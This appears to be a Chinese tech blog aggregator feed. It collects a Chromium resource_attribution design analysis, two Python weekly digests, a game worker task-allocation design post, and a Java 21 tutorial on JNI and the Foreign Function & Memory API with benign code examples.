代码越来越复杂的一个原因就是一个模块随着迭代包含越来越多的功能。在最开始的时候避免过度设计,但随着后续功能迭代,可能就需要将模块中的部分功能独立出来,这样既可以复用,同时能够更好的测试,增加可扩展性。

decorator 的核心逻辑是获取内存数据后装饰到节点上(PageNode/ProcessNode),但在旧设计中这个类中包含很多与装饰无关的逻辑,比如内存采集定时器,控制频率,内存分配等。因此可以考虑将内存数据的获取部分单独抽取出为独立的模块。

其次内存分配逻辑是将进程的内存分配到 Frame/Page 上,这部分逻辑也是相对独立的。并且后续 chromium 需要将进程的 cpu 也分配到对应的 frame/page 上,这部分也可以考虑独立出来,模块的功能更加单一。

基于这些背景,chromium 重新设计了一个新的模块 resource_attribution,架构设计图如下:

:size=50%

在这个设计中,最显著变化的是引入了 Qeury 的框架,我们来详细介绍这个框架的设计思路。

QueryParams

在旧版本的设计中,外部业务主要关注 Webcontents(对应节点 PageNode)的内存信息。在新设计里,提供了更多的维度,包括进程/页面/Frame/Worker/同一个 BrowsingInstanceContext,外部可以根据需要使用的灵活性更高。

// A variant holding any type of resource context.
using ResourceContext = absl::variant<FrameContext,
                                      PageContext,
                                      ProcessContext,
                                      WorkerContext,
                                      OriginInBrowsingInstanceContext>;

QueryParams 中可以构造需要关注的 Context 列表(ContextCollection)。

同时支持多种类别的数据获取,定义在 ResourceType 中。在 QueryParams 中也可以构造类别列表(ResourceTypeSet)。

// Types of resources that Resource Attribution can measure.
enum class ResourceType {
  // CPU usage, measured in time spent on CPU.
  kCPUTime,

  // High-level memory information, such as PrivateMemoryFootprint. Relatively
  // efficient to measure.
  kMemorySummary,
};

QueryScheduler

components/performance_manager/resource_attribution/query_scheduler.cc

QueryScheduler 是 performance manager graph 中的“单例”

这个类是资源采集调度器,它本身并不负责具体的采集逻辑,同时也不包含定时器这些业务逻辑。

对外提供请求数据的接口,根据 params 参数,调用它内部包含的多种类型资源采集器,在接收到采集器的资源会调后,又会根据 params 参数中关注的 resourceContext 列表返回数据。

同时这个类运行在 performance manager graph 的线程序列上,因此对外提供了一些 static 的工具接口 CallOnScheduler,以便外部可以在任何线程上调用。

SchedulerTaskRunner

这个类非常简单,因为 QueryScheduler 必须运行在 performance manager graph 中的 taskrunner,因此内部的 taskRunner 就是 graph 的 taskRunner。chromium 封装了一下并且对外提供 CallWithScheduler 函数,从注释看只是为了能在 UT 中通过。

void SchedulerTaskRunner::OnSchedulerPassedToGraph(Graph* graph) {
  base::AutoLock lock(task_runner_lock_);
  CHECK(!task_runner_);
  // Use the PM task runner if QueryScheduler is installed on the PM. (In tests
  // it might not be.) This is used instead of GetCurrentDefault() because the
  // PM task runner might be a wrapper for the default.
  if (PerformanceManager::GetTaskRunner()->RunsTasksInCurrentSequence()) {
    task_runner_ = PerformanceManager::GetTaskRunner();
  } else {
    task_runner_ = base::SequencedTaskRunner::GetCurrentDefault();
  }
  CHECK(task_runner_);
  CHECK(!graph_);
  graph_ = graph;
}

CPUMeasurementMonitor

components/performance_manager/resource_attribution/cpu_measurement_monitor.cc

该模块没有采集系统的 cpu

该模块用来采集所有进程的 cpu,并且分配给每个 BrowserInstsanceContext。

在 CPUMeasurementMonitor::StartMonitor 的时候会对所有进程采集一次数据。给每个进程节点(ProcessNode)关联 CPUMeasurementData ,具体的采集逻辑由 CPUMeasurementDelegateImpl 完成。


chromium 在这里的抽象程度有点“丧心病狂”的感觉了。

因为对于单个进程的 cpu 采集逻辑是非常简单的,就是根据 process handler 创建对应的 ProcessMetrics(//base),接着调用 ProcessMetrics::GetCumulativeCPUUsage 就可以了。但是 chromium 这里在 CPUMeasurementData 中没有直接创建 ProcessMetrics,而是创建 delegate,这似乎没有必要(可能只是为了测试性更好而写的)。

delegate 创建方式只有一种,但是这里却设计了 factory,通过工厂创建,同时给 delegate 和 factory 都设计虚基类。仿佛是因为这点醋包了一桌子饺子的感觉,很多类都是没有太大的实际用处的。这样的代码设计在 chromium 中实际上还有很多。

image.png :size=50%

最终的采集逻辑如下,即调用 ProcessMetrics 上的 GetCumulativeCPUUsage 方法。

CPUMeasurementDelegateImpl::CPUMeasurementDelegateImpl(
    const ProcessNode* process_node) {
  const base::ProcessHandle handle = process_node->GetProcess().Handle();
#if BUILDFLAG(IS_MAC)
  process_metrics_ = base::ProcessMetrics::CreateProcessMetrics(
      handle, content::BrowserChildProcessHost::GetPortProvider());
#else
  process_metrics_ = base::ProcessMetrics::CreateProcessMetrics(handle);
#endif
}

在数据采集完成后,monitor 需要对数据进行进一步的整理,包括对 usage 的划分(目前是按照进程下的 frame/worker 数据均分),以及对返回的数据的格式整理等。

这里还包含了在两个采集过程中,进程退出场景下的 cpu usage 计算的问题,后续再展开

:size=50%

MemoryMeasurementProvider

components/performance_manager/resource_attribution/memory_measurement_provider.h

和 cpu 是类似的,区别在于采集进程数据依赖 memory_instrumentation,而不需要给每个 processNode 关联一个 Metric,因此整体设计如下,在 provider 下直接持有了 delegate:

image.png

同样的,在采集到数据的回调中会对数据划分分配到 frame/worker 上:

:size=50%

ScopedResourceUsageQuery

当看完 QueryScheduler 的设计后,会发现还少了一些什么。是的,还缺少了定时采集,以及截流的逻辑。

chromium 设计了 ThrottledTimer 来实现这两部分的功能:

  1. 只针对 memory 进行截流
  2. last_fire_time_ 为 false 表示一次性的采集,为 true 表示定时器采集
  3. 定时器采集的无需限流
  4. 一次性采集如果在下面三种情况下均不会采集:

    1. 距离上一次一次性采集时间在 |g_min_memory_query_delay| 时间(2 秒)以内
    2. 距离上一次定时器采集时间在 |g_min_memory_query_delay| 时间(2 秒)以内
    3. 距离下一次定时器采集时间在 |g_min_memory_query_delay| 时间(2 秒)以内
bool ScopedResourceUsageQuery::ThrottledTimer::ShouldSendRequest(
    internal::QueryParams* params,
    bool timer_fired) {
  if (!params->resource_types.Has(ResourceType::kMemorySummary)) {
    // Only memory queries are throttled.
    return true;
  }

  const auto now = base::TimeTicks::Now();
  if (timer_fired) {
    // Repeating queries aren't throttled, but need to save the current time to
    // throttle QueryOnce().
    CHECK(timer_.IsRunning());
    last_fire_time_ = now;
    next_fire_time_ = now + timer_.GetCurrentDelay();
    return true;
  }

  // Check if this QueryOnce() should be throttled.
  if (!last_query_once_time_.is_null() &&
      now < last_query_once_time_ + g_min_memory_query_delay) {
    // QueryOnce() called recently.
    return false;
  }
  if (!last_fire_time_.is_null() &&
      now < last_fire_time_ + g_min_memory_query_delay) {
    // Timer fired recently.
    return false;
  }
  if (!next_fire_time_.is_null() &&
      now > next_fire_time_ - g_min_memory_query_delay) {
    // Timer is going to fire soon.
    return false;
  }
  last_query_once_time_ = now;
  return true;
}

QueryBuilder

components/performance_manager/public/resource_attribution/queries.h

QueryScheduler 确实可以直接用来采集一次性能数据了,但是它没有那么好用,因为它需要先构造好 QueryParams 数据结构。因此 chromium 提供了一个工具类来方便的一次性采集数据,或者导出一个 ScopedResourceUsageQuery 来进行定时采集,类似下面的写法:

QueryBuilder()
       .AddAllContextsOfType<ProcessContext>()
       .AddResourceType(ResourceType::kCPUTime)
       .QueryOnce(callback);

这个类实现很简单,因此在这里不再赘述。

小结

代码设计不是一成不变的,也不是一蹴而就的。它是随着项目需求迭代而不断的升级。因此根据需求选择合适的架构设计是非常重要的。

正如 chromium 在 //services 的框架的设计文档中写道:“团队有意识地选择不过度设计代码和架构,直到我们有明显的需求”。尽管 chromium 的代码设计不总是最好的,相反很多时候因为抽象让阅读难度大大增加,但学习它的设计思路对我们设计更为复杂的架构有很多的参考价值。

本文中提到的变更原因仅代表从 commit 上推测而来,欢迎有不同的见解在评论区交流 ☕️。

by 友人C at August 04, 2024 02:25 PM

August 03, 2024

pythoncat

Python 潮流周刊#63:开发 Python Web 项目

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 10 篇文章,13 个开源项目,2 则热门话题,全文 2100 字。
以下是本期摘要:
① 用 Vue 和 Django 开发 Web 项目的终极指南(2024)
② 用 Pyodide 和 React 开发可视化的低/无代码应用
③ Python __all__的问题
④ 为什么“python -m json”没用?为什么是“json.tool”?
⑤ tea-tasting:对 A/B 测试作统计分析的 Python 包
⑥ 独立线程中的 Asyncio 事件循环
⑦ 使用 eBPF 检测 Python GIL
⑧ 嵌入式 Python:MicroPython 太棒了
⑨ 用 git log 查看 Python 函数的变更记录
⑩ OpenCV 和野生王国
① fasthtml:最快开发 HTML 应用的方法
② datachain:使用本地 ML 和 LLM 来处理非结构化数据
③ 《数据科学的要素》在线电子书
④ treescope:IPython 笔记本中将 HTML 内容作交互式查看
⑤ cardie:开源的名片设计和分享平台
⑥ PyDPainter:好用的像素艺术绘画工具
⑦ cloudflare-noip:免费替代付费的动态 DNS 服务
⑧ peerfetch:基于 WebRTC 的点对点 HTTP
⑨ yark:让 YouTube 存档变得简单
⑩ patchwork:用 LLM 自动审查代码、改 BUG 和写文档
⑪ RestrictedPython:运行不可信 Python 代码的受限执行环境
⑫ metahuman-stream:实时互动的流媒体数字人
⑬ Chenyme-AAVT:全自动音视频翻译项目
① 为什么“显性优于隐性”原则不管用了?
② 有哪些小众但好用的 Python 库?

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 63 期周刊的全文
PS.本周刊前30期的合集永久免费,已集结出了精美电子书(EPUB/PDF),请从该合集文章开头获取下载链接。
另外,付费期数将在其 50 期后免费开放,例如第 63 期将在第 113 期时免费,敬请留意。

August 03, 2024 12:00 AM

July 27, 2024

pythoncat

Python 潮流周刊#62:试用自由线程 Python

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,全文 2000 字。
以下是本期摘要:
① 在 macOS 上试用自由线程 Python
② PEP-751:一种列出 Python 依赖项的文件格式,确保可重复安装
③ 超越后现代:Python 现在更加易用了
④ 使用 Flask 和 HTMX 实现即时搜索
⑤ Streamlit 101:Python 数据应用的基础
⑥ 使用 Python + ToolJet 开发一个 CSV 到图表的生成器应用
⑦ FastAPI(更快的API):优化处理时间
⑧ 用 Django + daisyUI + TailwindCSS 开发一个项目
⑨ Python 的资源管理和生成器
⑩ 用 Python 数据帧在笔记本电脑上查询 1TB 数据
⑪ Python 纪元时间戳的时区陷阱
⑫ 2024 年 Selenium 的 10 个替代品
① whenever:用 Rust 开发的 Python 日期时间库
② maelstrom:高速的 Rust 和 Python 测试运行器
③ wat:对 Python 对象作深层检测
④ txtai:用于语义搜索、LLM 编排和大模型工作流的嵌入数据库
⑤ PraisonAI:将 AutoGen 和 CrewAI 等框架集成低代码解决方案
⑥ pgmanage:用于管理数据库的 Web 工具
⑦ pygamelib:在控制台里开发游戏的小框架
⑧ composio:面向 AI 代理的生产就绪型工具集
⑨ Cradle:通用型计算机控制框架
⑩ lonboard:用 Jupyter 做地理空间矢量数据可视化
⑪ opencanary:模块化和去中心化的蜜罐
⑫ amphi-etl:低代码 ETL 数据集成

目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 62 期周刊的全文
PS.本周刊前30期的合集永久免费,已集结出了精美电子书(EPUB/PDF),请从该合集文章开头获取下载链接。
另外,付费期数将在其 50 期后免费开放,例如第 62 期将在第 112 期时免费,敬请留意。

July 27, 2024 12:00 AM

July 25, 2024

codingnow

工人任务分配系统

在矮人要塞 like 的游戏中,都有一套基于工人的任务分发系统。玩家通常不能像 RTS 中那样直接操作工人去工作,而是对要做的事情下达任务,等着工人自主去完成。

由于任务数量通常远多于工人数量,这个任务分发系统中大多配有优先级设置,可以让诸多任务有条不紊的进行。调整优先级变成玩家主动操控的渠道。初玩这类游戏,会有点不习惯:感觉难以在微观层面直接做自己像做的事情。像捡块石头放进指定仓库这件事,无法像玩 RTS 游戏那样,先点选工人,再针对石头发出拾取指令…… 但习惯之后,恐怕又回不去了。比如我在玩 Ratopia 时,就对操控鼠王直接干活烦躁不已。

这类游戏,我玩的时间比较长的有三个,按时长排序为:缺氧 (ONI) 、边缘世界 (Rimworld)、矮人要塞 (DF)。其它如 Songs of Syx 、Prison Architect 等很多也有所涉猎。其实,这些游戏在设计工人任务系统的细节上也有所不同。

以我游戏时长最长的缺氧和边缘世界相比较,同样是提供玩家主动操控的能力:Rimworld 可以给工人的任务队列直接下达指令(这更接近 RTS 的玩法),而 ONI 则是通过给单个任务本身排优先级实现的。ONI 设计了警报级任务,可以越过一切优先级设定,强制立刻完成。虽然 ONI 也保留了指挥单个小人移动到指定位置,但实际游戏中几乎没什么用。

对于拾取物品,Rimworld 可以封禁、解禁单个物品,而 ONI 没有这个设计。ONI 的工人几乎不会主动把地上的东西搬入仓库,除非下达清扫指令。

这些细节的不同,可能来源于作者设计时的思维轨迹,很大程度上也取决于游戏的其他玩法。例如 Rimworld 偏重手控成分很重的战斗,而 ONI 没有战斗成分。Rimworld 强调人物之间的情感联系,ONI 里的都是工具人。

我比较喜欢 ONI 的系统,打算用这个规则打底设计自己的游戏。下面是设计的草稿:

  1. 游戏场景中代做的事情全部被视为任务,任务需要由工人完成。

  2. 任务构成要素主要由对象和行为构成。对象大多为场景中的建筑,也可以是其它一些活动角色,例如某个工人或敌人。

  3. 行为决定了任务的类型,而每种任务类型有一个预设的“类型权重”;玩家可以对任务所属对象设置一个“对象权重”。

  4. 每个工人有自己的任务队列。工人可以设置对任务类型的“偏好权重”,任务对象在场景中的位置和工人之间的距离决定了任务的“位置权重”。将每个任务的所有权重相乘,得到任务分配给每个工人的最终权重。同一个任务会分别进入每个工人的任务队列中。

  5. 有些任务是分配给特定工人的。例如,工人需要周期进食,氧气不足时会就近补充氧气,等等。也会排入对应的任务队列。

  6. 各个任务队列定期刷新,将归属的任务以权重排序。工人从高到低依次完成任务。因为一个任务可以被分配到多个队列中,所以,可以出现工人当前任务被取消的情况。如果扩展战斗系统,而攻击敌人也属于任务的话,同一个任务也可以被并行执行。

比较特殊的是搬运任务,它通常是建造任务的一个环节,即给建造任务提供原料。它需要把原料从一个地点搬运到建造蓝图的地方。这种搬运任务有两个地点。但给建造蓝图供料时,原料可以有很多候选。我想到两种实现方法:

第一,当一个建造任务被发布后,所有可用的原料均被发布一个供应的子任务,根据和原料和建造任务的距离,给予不同的权重。这样,工人再根据自身的位置,如果开始就近执行一个搬运任务,就立刻把其它搬运任务取消。第二,不考虑不同原料的位置,只要原料可达,就发布一个供应任务,每个工人在考量建造任务权重时,只考虑自己和建造工地的距离。

看起来,第一个方案看起来会有更聪明的表现。因为会倾向于让离原料近的工人就近拿到原料开始搬运。但从实现上看,第二个方案更简单。因为它没有把搬运任务做特殊处理。只在工人执行任务时,再寻找原料。寻早原料变成执行任务的过程,而不在计算权重和分配任务阶段进行。


关于寻路

昨天我实现了基本的寻路模块。一开始,我认为需要的基本功能是:标记出场景中从 A 点到 B 点的路径。由于场景是玩家一点点搭建起来,随时变化,所以很难对场景做充分的预处理。这样一个寻路模块的时间及空间复杂度都不会太低,而在游戏中恐怕不会太低频使用它。我实现了两版都不是很满意,所以又回头来回顾需求。

结合任务系统来考虑,我突然发现,其实真正需要的不是找到任务 A B 两点间的通行路径,而是找到从同一个点出发,到场景中很多点的路径。因为,任务本身是有位置属性的,这个位置属性决定了它在每个工人的队列中的不同权重;或者从工人角度看,他同时会面对多个不同位置的任务,需要根据距离远近排序。所以,更合理的基础功能应该是:针对每个工人的当前位置,计算出距离可达区域每个位置的行动路线,这用几行代码就可以生成。同理,如果像找到一个建筑任务的所有原料供应点的远近,也可以使用相同的算法。

工人只在开始准备一个新任务时,才需要做一次计算。而一旦他处在执行一个任务的过程中,就不再需要实时计算距离其它任务地的路径。

by 云风 at July 25, 2024 07:50 AM

July 22, 2024

aneasystone

Java 21 初体验(二)

上一篇笔记 中,我们学习了 Java 21 中前 5 个重要特性:

接下来,我们将继续学习后面的 5 个特性:

外部函数和内存 API(第三次预览版本)

外部函数和内存 API(Foreign Function & Memory API,简称 FFM API) 是 Java 17 中首次引入的一个重要特性,经过了 JEP 412JEP 419 两个孵化版本,以及 JEP 424JEP 434 两个预览版本,在 Java 21 中,这已经是第三个预览版本了。

Java 22 中,这个特性终于退出了预览版本。

近年来,随着人工智能、数据科学、图像处理等领域的发展,我们在越来越多的场景下接触到原生代码:

  • Off-CPU Computing (CUDA, OpenCL)
  • Deep Learning (Blas, cuBlas, cuDNN, Tensorflow)
  • Graphics Processing (OpenGL, Vulkan, DirectX)
  • Others (CRIU, fuse, io_uring, OpenSSL, V8, ucx, ...)

这些代码不太可能用 Java 重写,也没有必要,Java 急需一种能与本地库进行交互的方案,这就是 FFM API 诞生的背景。FFM API 最初作为 Panama 项目 中的核心组件,旨在改善 Java 与本地代码的互操作性。FFM API 是 Java 现代化进程中的一个重要里程碑,标志着 Java 在与本地代码互操作性方面迈出了重要一步,它的引入也为 Java 在人工智能、数据科学等领域的应用提供了更多的可能性,有望加速 Java 在这些领域的发展和应用。

FFM API 由两大部分组成:外部函数接口(Foreign Function Interface,简称 FFI)内存 API(Memory API),FFI 用于实现 Java 代码和外部代码之间的相互操作,而 Memory API 则用于安全地管理堆外内存。

使用 JNI 调用外部函数

在引入外部函数之前,如果想要实现 Java 调用外部函数库,我们需要借助 JNI (Java Native Interface) 来实现。下面的代码是一个使用 JNI 调用外部函数的例子:

public class JNIDemo {
    static {
        System.loadLibrary("JNIDemo");
    }

    public static void main(String[] args) {
        new JNIDemo().sayHello();
    }

    private native void sayHello();
}

其中 sayHello 函数使用了 native 修饰符,表明这是一个本地方法,该方法的实现不在 Java 代码中。这个本地方法可以使用 C 语言来实现,我们首先需要生成这个本地方法对应的 C 语言头文件:

$ javac -h . JNIDemo.java

javac 命令不仅可以将 .java 文件编译成 .class 字节码文件,而且还可以生成本地方法的头文件,参数 -h . 表示将头文件生成到当前目录。这个命令执行成功后,当前目录应该会生成 JNIDemo.classJNIDemo.h 两个文件,JNIDemo.h 文件内容如下:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class JNIDemo */

#ifndef _Included_JNIDemo
#define _Included_JNIDemo
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     JNIDemo
 * Method:    sayHello
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIDemo_sayHello
  (JNIEnv *, jobject);

#ifdef __cplusplus
}
#endif
#endif

正如我们所看到的,在这个头文件中定义了一个名为 Java_JNIDemo_sayHello 的函数,这个名称是根据包名、类名和方法名自动生成的。有了这个自动生成的头文件,我们就可以在 C 语言里实现这个这个方法了,于是接着创建一个 JNIDemo.c 文件,编写代码:

#include "jni.h"
#include "JNIDemo.h"
#include <stdio.h>

JNIEXPORT void JNICALL Java_JNIDemo_sayHello(JNIEnv *env, jobject jobj) {
    printf("Hello World!\n");
}

这段代码很简单,直接调用标准库中的 printf 输出 Hello World!

然后使用 gcc 将这个 C 文件编译成动态链接库:

$ gcc -I${JAVA_HOME}/include -I${JAVA_HOME}/include/darwin -dynamiclib JNIDemo.c -o libJNIDemo.dylib

这个命令会在当前目录下生成一个名为 libJNIDemo.dylib 的动态链接库文件,这个库文件正是我们在 Java 代码中通过 System.loadLibrary("JNIDemo") 加载的库文件。

注意这里我用的是 Mac 操作系统,动态链接库的名称必须以 lib 为前缀,以 .dylib 为扩展名,其他操作系统的命令略有区别。

Linux 系统:

$ gcc -I${JAVA_HOME}/include -I${JAVA_HOME}/include/linux -shared JNIDemo.c -o libJNIDemo.so

Windows 系统:

$ gcc -I${JAVA_HOME}/include -I${JAVA_HOME}/include/win32 -shared JNIDemo.c -o JNIDemo.dll

至此,我们就可以运行这个 Hello World 的本地实现了:

$ java -cp . -Djava.library.path=. JNIDemo

以上步骤演示了如何使用 JNI 调用外部函数,这只是 JNI 的一个简单示例,更多 JNI 的高级功能,比如实现带参数的函数,在 C 代码中访问 Java 对象或方法等,可以参考 Baeldung 的这篇教程

外部函数接口(Foreign Function Interface)

从上面的过程可以看出,JNI 的使用非常繁琐,一个简单的 Hello World 都要费好大劲:首先要在 Java 代码中定义 native 方法,然后从 Java 代码派生 C 头文件,最后还要使用 C 语言对其进行实现。Java 开发人员必须跨多个工具链工作,当本地库快速演变时,这个工作就会变得尤为枯燥乏味。

除此之外,JNI 还有几个更为严重的问题:

  • Java 语言最大的特性是跨平台,所谓 一次编译,到处运行,但是使用本地接口需要涉及 C 语言的编译和链接,这是平台相关的,所以丧失了 Java 语言的跨平台特性;
  • JNI 桩代码非常难以编写和维护,首先,JNI 在类型处理上很糟糕,由于 Java 和 C 的类型系统不一致,比如聚合数据在 Java 中用对象表示,而在 C 中用结构体表示,因此,任何传递给 native 方法的 Java 对象都必须由本地代码费力地解包;另外,假设某个本地库包含 1000 个函数,那么意味着我们要生成 1000 个对应的 JNI 桩代码,这么大量的 JNI 桩代码非常难以维护;
  • 由于本地代码不受 JVM 的安全机制管理,所以 JNI 本质上是不安全的,它在使用上非常危险和脆弱,JNI 错误可能导致 JVM 的崩溃;
  • JNI 的性能也不行,一方面是由于 JNI 方法调用不能从 JIT 优化中受益,另一方面是由于通过 JNI 传递 Java 对象很慢;这就导致开发人员更愿意使用 Unsafe API 来分配堆外内存,并将其地址传递给 native 方法,这使得 Java 代码非常不安全!

多年来,已经出现了许多框架来解决 JNI 遗留下来的问题,包括 JNAJNRJavaCPP。这些框架通常比 JNI 有显著改进,但情况仍然不尽理想,尤其是与提供一流本地互操作性的语言相比。例如,Python 的 ctypes 包可以动态地包装本地库中的函数,而无需任何胶水代码,Rust 则提供了从 C/C++ 头文件自动生成本地包装器的工具。

FFI 综合参考了其他语言的实现,试图更加优雅地解决这些问题,它实现了对外部函数库的原生接口,提供了一种更高效更安全的方式来访问本地内存和函数,从而取代了传统的 JNI。

下面的代码是使用 FFI 实现和上面相同的 Hello World 的例子:

public class FFIDemo {
    public static void main(String[] args) throws Throwable {
        Linker linker = Linker.nativeLinker();
        SymbolLookup symbolLookup = linker.defaultLookup();
        MethodHandle printf = linker.downcallHandle(
            symbolLookup.find("printf").orElseThrow(), 
            FunctionDescriptor.of(ValueLayout.JAVA_LONG, ValueLayout.ADDRESS)
        );
        try (Arena arena = Arena.ofConfined()) {
            MemorySegment hello = arena.allocateUtf8String("Hello World!\n");
            printf.invoke(hello);
        }
    }
}

注意,Java 22 中取消了 Arena::allocateUtf8String() 方法,改成了 Arena::allocateFrom() 方法。

相比于 JNI 的实现,FFI 的代码要简洁优雅得多。这里的代码涉及三个 FFI 中的重要接口:

  • Linker
  • SymbolLookup
  • FunctionDescriptor

其中 SymbolLookup 用于从已加载的本地库中查找外部函数的地址,Linker 用于链接 Java 代码与外部函数,它同时支持下行调用(从 Java 代码调用本地代码)和上行调用(从本地代码返回到 Java 代码),FunctionDescriptor 用于描述外部函数的返回类型和参数类型,这些类型在 FFM API 中可以由 MemoryLayout 对象描述,例如 ValueLayout 表示值类型,GroupLayout 表示结构类型。

通过 FFI 提供的接口,我们可以生成对应外部函数的方法句柄(MethodHandle),方法句柄是 Java 7 引入的一个抽象概念,可以实现对方法的动态调用,它提供了比反射更高的性能和更灵活的使用方式,这里复用了方法句柄的概念,通过方法句柄的 invoke() 方法就可以实现外部函数的调用。

这里我们不再需要编写 C 代码,也不再需要编译链接生成动态库,所以,也就不存在平台相关的问题了。另一方面,FFI 接口的设计大多数情况下是安全的,由于都是 Java 代码,因此也受到 Java 安全机制的约束,虽然也有一部分接口是不安全的,但是比 JNI 来说要好多了。

OpenJDK 还提供了一个 jextract 工具,用于从本地库自动生成 Java 代码,有兴趣的同学可以尝试一下。

使用 ByteBufferUnsafe 访问堆外内存

上面说过,FFM API 的另一个主要部分是 内存 API(Memory API),用于安全地管理堆外内存。其实在 FFIDemo 的示例中我们已经见到内存 API 了,其中 printf 打印的 Hello World!\n 字符串,就是通过 Arena 这个内存 API 分配的。

但是在学习内存 API 之前,我们先来复习下 Java 在之前的版本中是如何处理堆外内存的。

内存的使用往往和程序性能挂钩,很多像 TensorFlow、Ignite、Netty 这样的类库,都对性能有很高的要求,为了避免垃圾收集器不可预测的行为以及额外的性能开销,这些类库一般倾向于使用 JVM 之外的内存来存储和管理数据,这就是我们常说的 堆外内存(off-heap memory)

使用堆外内存有两个明显的好处:

  • 使用堆外内存,也就意味着堆内内存较小,从而可以减少垃圾回收次数,以及垃圾回收停顿对于应用的影响;
  • 在 I/O 通信过程中,通常会存在堆内内存和堆外内存之间的数据拷贝操作,频繁的内存拷贝是性能的主要障碍之一,为了极致的性能,一份数据应该只占一份内存空间,这就是所谓的 零拷贝,直接使用堆外内存可以提升程序 I/O 操作的性能。

ByteBuffer 是访问堆外内存最常用的方法:

private static void testDirect() {
    ByteBuffer bb = ByteBuffer.allocateDirect(10);
    bb.putInt(0);
    bb.putInt(1);
    bb.put((byte)0);
    bb.put((byte)1);

    bb.flip();

    System.out.println(bb.getInt());
    System.out.println(bb.getInt());
    System.out.println(bb.get());
    System.out.println(bb.get());
}

上面的代码使用 ByteBuffer.allocateDirect(10) 分配了 10 个字节的直接内存,然后通过 put 写内存,通过 get 读内存。

可以注意到这里的 int 是 4 个字节,byte 是 1 个字节,当写完 2 个 int 和 2 个 byte 后,如果再继续写,就会报 java.nio.BufferOverflowException 异常。

另外还有一点值得注意,我们并没有手动释放内存。虽然这个内存是直接从操作系统分配的,不受 JVM 的控制,但是创建 DirectByteBuffer 对象的同时也会创建一个 Cleaner 对象,它用于跟踪对象的垃圾回收,当 DirectByteBuffer 被垃圾回收时,分配的堆外内存也会一起被释放,所以我们不用手动释放内存。

ByteBuffer 是异步编程和非阻塞编程的核心类,从 java.nio.ByteBuffer 这个包名就可以看出这个类是为 NIO 而设计,可以说,几乎所有的 Java 异步模式或者非阻塞模式的代码,都要直接或者间接地使用 ByteBuffer 来管理数据。尽管如此,这个类仍然存在着一些无法摆脱的限制:

  • 首先,它不支持手动释放内存,ByteBuffer 对应内存的释放,完全依赖于 JVM 的垃圾回收机制,这对于一些像 Netty 这样追求极致性能的类库来说并不满足,这些类库往往需要对内存进行精确的控制;
  • 其次,ByteBuffer 使用了 Java 的整数来表示存储空间的大小,这就导致,它的存储空间最多只有 2G;在网络编程的环境下,这可能并不是一个问题,但是在处理超过 2G 的文件时就不行了,而且像 Memcahed 这样的分布式缓存系统,内存 2G 的限制明显是不够的。

为了突破这些限制,有些类库选择了访问堆外内存的另一条路,使用 sun.misc.Unsafe 类。这个类提供了一些低级别不安全的方法,可以直接访问系统内存资源,自主管理内存资源:

private static void testUnsafe() throws Exception {
    Field f = Unsafe.class.getDeclaredField("theUnsafe");
    f.setAccessible(true);
    Unsafe unsafe = (Unsafe) f.get(null);
    
    long address = unsafe.allocateMemory(10);
    unsafe.putInt(address, 0);
    unsafe.putInt(address+4, 1);
    unsafe.putByte(address+8, (byte)0);
    unsafe.putByte(address+9, (byte)1);
    System.out.println(unsafe.getInt(address));
    System.out.println(unsafe.getInt(address+4));
    System.out.println(unsafe.getByte(address+8));
    System.out.println(unsafe.getByte(address+9));
    unsafe.freeMemory(address);
}

Unsafe 的使用方法和 ByteBuffer 很像,我们使用 unsafe.allocateMemory(10) 分配了 10 个字节的直接内存,然后通过 put 写内存,通过 get 读内存,区别在于我们要手动调整内存地址。

使用 Unsafe 操作内存就像是使用 C 语言中的指针一样,效率虽然提高了不少,但是很显然,它增加了 Java 语言的不安全性,因为它实际上可以访问到任意位置的内存,不正确使用 Unsafe 类会使得程序出错的概率变大。

注意,默认情况下,我们无法直接使用 Unsafe 类,直接使用的话会报下面这样的 SecurityException 异常:

Exception in thread "main" java.lang.SecurityException: Unsafe
       at jdk.unsupported/sun.misc.Unsafe.getUnsafe(Unsafe.java:99)
       at ByteBufferDemo.testUnsafe(ByteBufferDemo.java:33)
       at ByteBufferDemo.main(ByteBufferDemo.java:10)

所以上面的代码通过反射的手段,使得我们可以使用 Unsafe

说了这么多,总结一句话就是:ByteBuffer 安全但效率低,Unsafe 效率高但是不安全。此时,就轮到 内存 API 出场了。

内存 API(Memory API)

内存 API 基于前人的经验,使用了全新的接口设计,它的基本使用如下:

private static void testAllocate() {
    try (Arena offHeap = Arena.ofConfined()) {
        MemorySegment address = offHeap.allocate(8);
        address.setAtIndex(ValueLayout.JAVA_INT, 0, 1);
        address.setAtIndex(ValueLayout.JAVA_INT, 1, 0);
        System.out.println(address.getAtIndex(ValueLayout.JAVA_INT, 0));
        System.out.println(address.getAtIndex(ValueLayout.JAVA_INT, 1));
    }
}

这段代码使用 Arena::allocate() 分配了 8 个字节的外部内存,然后写入两个整型数字,最后再读取出来。下面是另一个示例,写入再读取字符串:

private static void testAllocateString() {
    try (Arena offHeap = Arena.ofConfined()) {
        MemorySegment str = offHeap.allocateUtf8String("hello");
        System.out.println(str.getUtf8String(0));
    }
}

这段代码使用 Arena::allocateUtf8String() 根据字符串的长度动态地分配外部内存,然后通过 MemorySegment::getUtf8String() 将其复制到 JVM 栈上并输出。

注意,Java 22 中取消了 Arena::allocateUtf8String()MemorySegment::getUtf8String() 方法,改成了 Arena::allocateFrom()MemorySegment::getString() 方法。

这两段代码中的 ArenaMemorySegment 是内存 API 的关键,MemorySegment 用于表示一段内存片段,既可以是堆内内存也可以是堆外内存;Arena 定义了内存资源的生命周期管理机制,它实现了 AutoCloseable 接口,所以可以使用 try-with-resource 语句及时地释放它管理的内存。

